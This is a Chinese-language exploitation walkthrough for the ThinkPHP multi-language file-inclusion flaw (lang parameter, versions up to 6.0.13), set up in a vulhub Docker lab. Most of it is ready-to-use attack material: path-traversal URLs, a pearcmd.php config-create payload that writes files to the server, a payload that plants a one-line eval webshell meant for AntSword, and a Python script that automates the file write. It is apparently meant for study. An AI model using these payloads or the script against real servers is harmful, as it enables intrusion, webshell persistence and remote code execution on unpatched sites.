1 漏洞描述
ThinkPHP是一个在中国使用较多的PHP框架。在其6.0.13版本及以前,存在一处本地文件包含漏洞。当ThinkPHP开启了多语言功能时,攻击者可以通过lang参数和目录穿越实现文件包含,当存在其他扩展模块如 pear 扩展时,攻击者可进一步利用文件包含实现远程代码执行。
影响版本
6.0.1 <= ThinkPHP <= 6.0.13
ThinkPHP 5.0.x
ThinkPHP 5.1.x
2 漏洞环境部署
进入目录 cd vulhub/thinkphp/lang-rce 部署环境 docker-compose up -d 查看端口 docker-compose ps
访问服务器,表示环境正在成功运行。
3 利用方式
首先,由于多语言功能默认未启用,因此可以尝试包含 以确定是否存在漏洞:
http://192.168.135.132:8080/?lang=../../../../../public/index
如果服务器崩溃并返回 500 错误响应,则存在该漏洞。
然后,尝试通过“/usr/local/lib/php/pearcmd.php”写入数据:
使用如下payload:
http://192.168.135.132:8080/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php HTTP/1.1
访问写入的文件
写入一句话木马payload
http://192.168.135.132:8080/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=eval(@$_POST['password']);?>+shell2.php
使用蚁剑链接
4 使用python脚本探测漏洞
#!/usr/bin/env python import requests from urllib.parse import urljoin def thinkphp6_lang(url): payload=urljoin(url,'index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php') response=requests.get(payload,verify=False) url2=url+'shell.php' response2=requests.get(url2,verify=False) if response2.status_code == 200: print("漏洞存在") else: print("漏洞不存在") if __name__ == '__main__': print("注意:本代码仅用于实验和学习目的,请谨慎使用。") url = input("请输入目标 URL: ") thinkphp6_lang(url)
结果